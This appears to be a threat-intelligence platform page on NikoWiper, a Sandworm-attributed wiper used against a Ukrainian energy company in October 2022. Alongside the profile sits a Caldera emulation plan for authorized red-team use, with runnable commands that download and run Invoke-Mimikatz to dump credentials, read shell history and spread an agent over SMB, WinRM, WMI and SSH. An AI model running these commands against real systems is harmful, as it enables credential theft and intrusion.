Home/Threat Actor/NikoWiper
Threat Actor

NikoWiper

nikowiper · russia · active since 2022-10

NikoWiper (canonical ESET naming per January 31, 2023 T3 2022 APT Activity Report public disclosure with Robert Lipovsky senior malware researcher attribution) is a Sandworm-attributed SDelete-based Windows wiper deployed October 2022 against an unnamed Ukrainian energy sector company.

Russia GRU Unit 74455 Sandworm Team attribution via ESET canonical disclosure ("In Ukraine, ESET detected the infamous Sandworm group using a previously unknown wiper against an energy sector company... ESET has named the latest wiper, from a series of previously discovered wipers, NikoWiper. This wiper was used against a company in the energy sector in Ukraine in October 2022. NikoWiper is based on SDelete, a command line utility from Microsoft that is used for securely deleting files") + Robert Lipovsky cluster-defining distinction-from-Ukrinform clarification ("NikoWiper is a different malware") + Dmitry Bestuzhev BlackBerry canonical wipers-as- targeted-weapons commentary.

standalone cluster paralleling doublezero + roarbat + awfulshred in v0.1.151 Russia-aligned 2022-2023 destructive wiper operations cell extending v0.1.130 Ukraine 2022 wartime wiper cluster (WhisperGate + HermeticWiper + CaddyWiper) + v0.1.136 2023+ Sandworm destructive cyberweapon evolution arc (Prestige + RansomBoggs + SwiftSlicer)

operational target profile Ukrainian energy sector primary target October 2022 + signature cluster-defining cyber-kinetic coordination with Russian armed forces missile strikes on Ukrainian energy infrastructure ("the attacks coincided with missile strikes orchestrated by the Russian armed forces aimed at the Ukrainian energy infrastructure, suggesting overlaps in objectives... While ESET is not able to show that those events were coordinated, it suggests that Sandworm and the military forces of Russia have related objectives")

operational attack architecture: (1) cluster-defining SDelete weaponization transforming Microsoft Sysinternals legitimate secure-deletion utility into offensive destructive capability ("Sandworm has been experimenting with the utility as a wiper in at least two different instances to cause irrevocable damage to the targeted organizations in Ukraine"); (2) cluster-defining Cobalt Strike second-stage theory per ESET October 2022 sample analysis ("Although no second-stage malware was detected, ESET, which also found a sample of the malware in October 2022, theorized it was aimed at fetching and executing Cobalt Strike") indicating Sandworm tradecraft pattern extending wiper deployment with Cobalt Strike C2 capability.

(3) Sandworm operational tradecraft late-2022 evolution signature with parallel ransomware-as-wiper pattern ("ESET discovered Sandworm attacks using ransomware as a wiper. In those attacks, although ransomware was used, the final objective was the same as for the wipers: data destruction. Unlike traditional ransomware attacks, the Sandworm operators do not intend to provide a decryption key"), operationally coherent with v0.1.136 Prestige + RansomBoggs ransomware-as-wiper deployment pattern.

cluster fills the October-2022-onward + SDelete- weaponization + cyber-kinetic-coordination position in Russia-aligned 2022-2023 destructive wiper operations cell.

canonical illustration of Sandworm late-2022 SDelete-weaponization tradecraft + cyber- kinetic coordination with Russian armed forces missile strikes + Russo-Ukrainian war destructive cyberweapon timeline cited in essentially all subsequent destructive cyberweapon industry analyses through 2022-2026 period.

russia confidence: high 10 aliases
Sigma rules200 YARA rules0 Live IOCs0 CVEs exploited0
⬢

Profile

NikoWiper (canonical ESET naming per January 2023 T3 2022 APT Activity Report disclosure) is a Sandworm-attributed SDelete-based Windows wiper deployed October 2022 against an unnamed Ukrainian energy sector company per ESET + Robert Lipovsky attribution. Russia GRU Unit 74455 Sandworm Team attribution via ESET T3 2022 APT Activity Report with Robert Lipovsky senior malware researcher + cyber-kinetic coordination with Russian armed forces missile strikes on Ukrainian energy infrastructure October 2022 onward. Standalone cluster paralleling doublezero + roarbat + awfulshred in v0.1.151 Russia-aligned 2022-2023 destructive wiper operations cell.

Operational target profile
  • Ukrainian energy sector primary target.
  • Cyber-kinetic coordination with Russian armed forces missile strikes signature Operational attack architecture: (1) SDelete weaponization (cluster-defining): Microsoft Sysinternals legitimate secure-deletion utility transformed into offensive destructive capability per ESET (2) Cobalt Strike second-stage theorized (signature): per ESET October 2022 sample analysis (3) Sandworm tradecraft evolution late-2022 (signature): cluster fills SDelete-weaponization gap between v0.1.124 industroyer.yaml + v0.1.130 Ukraine 2022 wartime wiper cluster + v0.1.136 Prestige/RansomBoggs/SwiftSlicer 2023+ destructive cyberweapon evolution arc The cluster fills the October-2022-onward + SDelete- weaponization + cyber-kinetic-coordination position in the Russia-aligned 2022-2023 destructive wiper operations cell.
☉

Aliases

10
nikowiperniko wiperniko_wipernikowiper sdelete-based windows wipernikowiper sandworm october 2022 ukraine energy sectornikowiper eset apt activity report t3 2022nikowiper cyber kinetic coordination russian missile strikes energy infrastructurenikowiper sdelete microsoft sysinternals weaponizednikowiper bestuzhev blackberry wipers targeted weaponsnikowiper robert lipovsky eset senior malware researcher attribution
⚡

Adversary Emulation Plan

13 steps
Runnable Caldera emulation profile Worm - Move laterally any way possible. Ordered along the attack lifecycle; each step maps to an ATT&CK technique with a concrete executor command. For authorized red-team / purple-team exercises only.
0 collection T1005 · Data from Local System darwin, linux
Parse SSH config
pip install stormssh && storm list
1 credential-access T1552.003 · Unsecured Credentials: Bash History darwin, linux
Dump history
find ~/.bash_sessions -name '*' -exec cat {} \; 2>/dev/null
2 discovery T1135 · Network Share Discovery windows
View admin shares
Get-SmbShare | ConvertTo-Json
3 discovery T1018 · Remote System Discovery darwin, linux, windows
Collect ARP details
arp -a
4 credential-access T1003.001 · OS Credential Dumping: LSASS Memory windows
Run PowerKatz
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True };
$web = (New-Object System.Net.WebClient);
$result = $web.DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/4c7a2016fc7931cd37273c5d8e17b16d959867b3/Exfiltration/Invoke-Mimikatz.ps1");
iex $result; Invoke-Mimikatz -DumpCreds
5 discovery T1018 · Remote System Discovery windows
Find Hostname
nbtstat -A #{remote.host.ip}
6 discovery T1018 · Remote System Discovery windows
Reverse nslookup IP
nslookup #{remote.host.ip}
7 lateral-movement T1021.002 · Remote Services: SMB/Windows Admin Shares windows
Mount Share
net use \\#{remote.host.fqdn}\C$ /user:#{domain.user.name} #{domain.user.password}
8 lateral-movement T1021.002 · Remote Services: SMB/Windows Admin Shares windows
Copy 54ndc47 (SMB)
$path = "sandcat.go-windows";
$drive = "\\#{remote.host.fqdn}\C$";
Copy-Item -v -Path $path -Destination $drive"\Users\Public\s4ndc4t.exe";
9 lateral-movement T1570 · Lateral Tool Transfer windows, darwin, linux
Copy 54ndc47 (WinRM and SCP)
$job = Start-Job -ScriptBlock {
  $username = "#{domain.user.name}";
  $password = "#{domain.user.password}";
  $secstr = New-Object -TypeName System.Security.SecureString;
  $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};
  $cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;
  $session = New-PSSession -ComputerName "#{remote.host.name}" -Credential $cred;
  $location = "#{location}";
  $exe = "#{exe_name}";
  Copy-Item $location -Destination "C:\Users\Public\svchost.exe" -ToSession $session;
  Start-Sleep -s 5;
  Remove-PSSession -Session $session;
};
Receive-Job -Job $job -Wait;
10 execution T1047 · Windows Management Instrumentation windows
Start 54ndc47 (WMI)
$node = '''#{remote.host.fqdn}''';
$user = '''#{domain.user.name}''';
$password = '''#{domain.user.password}''';
wmic /node:$node /user:$user /password:$password process call create "powershell.exe C:\Users\Public\s4ndc4t.exe -server #{server} -group #{group}";
11 lateral-movement T1021.006 · Remote Services: Windows Remote Management windows
Start Agent (WinRM)
$username = "#{domain.user.name}";
$password = "#{domain.user.password}";
$secstr = New-Object -TypeName System.Security.SecureString;
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};
$cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;
$session = New-PSSession -ComputerName #{remote.host.name} -Credential $cred;
Invoke-Command -Session $session -ScriptBlock{start-job -scriptblock{cmd.exe /c start C:\Users\Public\svchost.exe -server #{server} }};
Start-Sleep -s 5;
Remove-PSSession -Session $session;
12 lateral-movement T1021.004 · Remote Services: SSH darwin, linux
Start 54ndc47
scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 sandcat.go-darwin #{remote.ssh.cmd}:~/sandcat.go &&
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 #{remote.ssh.cmd} 'nohup ./sandcat.go -server #{server} -group red 1>/dev/null 2>/dev/null &'
⌖

Notable Campaigns

7
2023ESET T3 2022 APT Activity Report Public Disclosure (January 2023)
2023Robert Lipovsky NikoWiper Distinct-from-Ukrinform-SDelete Clarification (January 2023)
2022-2026Continued Industry Reference Status (2022-2026)
2022NikoWiper Origin, Ukraine Energy Sector Attack (October 2022)
2022NikoWiper Cyber-Kinetic Coordination with Russian Missile Strikes (October 2022)
2022NikoWiper SDelete Weaponization Signature
2022NikoWiper Cobalt Strike Second-Stage Theory (ESET)
★

Attribution & Reporting

Attributed by
ESET (canonical January 2023 APT Activity Report T3 2022 disclosure + NikoWiper naming)Robert Lipovsky (ESET senior malware researcher canonical attribution + distinct-from-Ukrinform clarification)The Hacker News (canonical January 31 2023 NikoWiper coverage)SocRadar (canonical NikoWiper coverage)Anvilogic (canonical NikoWiper threat report)LinkedIn Pulse (canonical detailed NikoWiper analysis)Quorum Cyber (canonical Russian APT group analysis with NikoWiper context)Dmitry Bestuzhev BlackBerry (canonical wipers-as-targeted-weapons commentary)Vumetric Cyber Portal (canonical NikoWiper analysis)CXO Insight Middle East (canonical ESET research coverage)15 Minute News + JN-66 Data Analytics (canonical NikoWiper coverage)
Key reporting
reportESET: T3 2022 APT Activity Report (January 2023), canonical NikoWiper public disclosure + Sandworm attribution
reportThe Hacker News: New Report Reveals NikoWiper Malware That Targeted Ukraine Energy Sector (January 31, 2023), canonical industry coverage with Robert Lipovsky attribution
reportAnvilogic: NikoWiper Targeted a Ukrainian Energy Company (February 8, 2023), canonical threat report
reportCXO Insight Middle East: ESET Reveals Russian APT groups continue their attacks against Ukraine (February 2023), canonical ESET coverage
reportQuorum Cyber: Russian APT group targets Ukrainian industry sectors with data wipers, canonical CERT-UA + NikoWiper analysis
reportRobert Lipovsky ESET: canonical NikoWiper attribution + distinct-from-Ukrinform clarification
reportDmitry Bestuzhev BlackBerry: canonical wipers-as-targeted-weapons commentary
⬡

Operational

State sponsor

Russia GRU Unit 74455, Sandworm Team via ESET January 2023 APT Activity Report attribution. Operationally aligned with Russian armed forces missile strike campaigns against Ukrainian energy infrastructure October-December 2022. Attribution chain: (1) ESET canonical January 2023 APT Activity Report T3 2022 + Robert Lipovsky attribution: per ESET January 2023 release: "In Ukraine, ESET detected the infamous Sandworm group using a previously unknown wiper against an energy sector company. Nation-state or state-sponsored actors usually operate APT groups.

the described attack happened in October during the same period when Russian armed forces began launching missile strikes targeting energy infrastructure. While ESET is not able to show that those events were coordinated, it suggests that Sandworm and the military forces of Russia have related objectives. ESET has named the latest wiper, from a series of previously discovered wipers, NikoWiper." (2) ESET SDelete-based weaponization identification: per ESET: "NikoWiper is based on SDelete, a command line utility from Microsoft that is used for securely deleting files. In addition to data-wiping malware, ESET discovered Sandworm attacks using ransomware as a wiper. In those attacks, although ransomware was used, the final objective was the same as for the wipers: data destruction. Unlike traditional ransomware attacks, the Sandworm operators do not intend to provide a decryption key." (3) Robert Lipovsky NikoWiper-distinct-from- Ukrinform-SDelete clarification: per The Hacker News + Lipovsky: "ESET malware researcher Robert Lipovsky told The Hacker News that 'NikoWiper is a different malware.'" Clarifies that NikoWiper is operationally distinct from January 2023 Ukrinform SDelete component despite shared SDelete foundation. Signature cluster-defining attribution tradecraft. (4) Cyber-kinetic coordination signature with Russian armed forces missile strikes: per ESET: "the attacks coincided with missile strikes orchestrated by the Russian armed forces aimed at the Ukrainian energy infrastructure, suggesting overlaps in objectives." Per Anvilogic: "The timing of Russian cyberattacks has often coincided with kinetic strikes, displaying a potential for coordinated efforts on both fronts." (5) BlackBerry Dmitry Bestuzhev wipers-as- targeted-weapons commentary: per The Hacker News: "Wipers have not been used widely as they're targeted weapons", Dmitry Bestuzhev, BlackBerry Most Distinguished Threat Researcher. (6) Cobalt Strike second-stage theory per ESET October 2022 sample analysis: per The Hacker News + ESET: "Although no second-stage malware was detected, ESET, which also found a sample of the malware in October 2022, theorized it was 'aimed at fetching and executing Cobalt Strike.'" Operational mission objective: Destructive wiper deployment against Ukrainian energy sector targets coinciding with Russian armed forces missile strikes on Ukrainian energy infrastructure. Cyber-kinetic coordination signature pattern.

Operational target profile
  • Ukrainian energy sector primary target October 2022 per ESET.
  • Unnamed energy sector company specific target.
  • Cyber-kinetic coordination: simultaneous Russian armed forces missile strikes on Ukrainian energy infrastructure October 2022 onward The cluster fills the October-2022-onward + SDelete- weaponization + cyber-kinetic-coordination position in the Russia-aligned 2022-2023 destructive wiper operations cell.
Motivations
russian_state_destructive_cyberweapon_operations, ukrainian_energy_sector_destruction, sdelete_microsoft_sysinternals_weaponization_signature_tradecraft, cyber_kinetic_coordination_with_russian_armed_forces_signature, sandworm_eset_attributed_signature_capability
Sectors
ukrainian_energy_sectorcritical_infrastructure
Regions
ukraine
◇

Techniques Used

60
T0809T0826T1003T1003.001T1005T1010T1014T1016T1018T1021T1021.001T1021.002T1027T1027.002T1033T1036T1036.005T1037T1041T1046T1053T1053.005T1055T1056T1057T1059T1059.001T1059.003T1059.005T1068T1069T1070T1070.004T1071T1071.001T1078T1082T1083T1087T1090T1090.001T1095T1102T1106T1112T1119T1129T1133T1135T1140T1190T1203T1204T1204.002T1218T1218.005T1218.011T1485T1486T1490
◈

Detection Blind Spots

60 techniques
Across this actor’s 60 mapped techniques, the share covered by each detection layer. Low bars are where you’d be blind if this actor targeted you.
Behavioral / log (Sigma)57/60 · 95%
Analytics (MITRE CAR)34/60 · 56%
Runtime / container (Falco)8/60 · 13%
File / malware (YARA)0/60 · 0%
Network (Suricata/Snort)19/60 · 31%
Vuln scan (Nuclei)0/60 · 0%
▸

Atomic Test Plan

30 techniques
Runnable Atomic Red Team tests covering this actor’s mapped techniques - validate your detections against this specific adversary. Cross-reference the blind spots above. For authorized lab / purple-team use. Open the full builder
▶

Tools Used

0 mapped
Other tooling / TTPs (curation, not ATT&CK-mapped):
SANDWORM GRU UNIT 74455 ATTRIBUTIONSDELETE MICROSOFT SYSINTERNALS SECURE FILE DELETION UTILITY WEAPONIZED
Intelligence Graph · click any node to traverse
CVETechnique ActorTool Family
drag to reposition · click any node to traverse · button top-right enlarges
External lookups - second-class, for what we don’t hold ourselves
MITRE searchMalpediaGoogle
Vulnerabilities
CISA KEV catalog
CWE weaknesses
CAPEC attack patterns
Package vulnerabilities
Threat intelligence
Threat actors
Tools & malware
ATT&CK techniques
IOCs
Detection & defense
Sigma rules
YARA rules
Atomic Red Team tests
D3FEND countermeasures
Compliance
NIST 800-53
ISO 27001:2022
SOC 2 TSC
PCI-DSS v4.0
CIS Controls v8.1
About
All capabilities
Live statistics
Data sources
Privacy policy
Terms of service
threatengine.sh  ·  Open-source threat intelligence platform  ·  100+ authoritative sources  ·  Every fact traces to its origin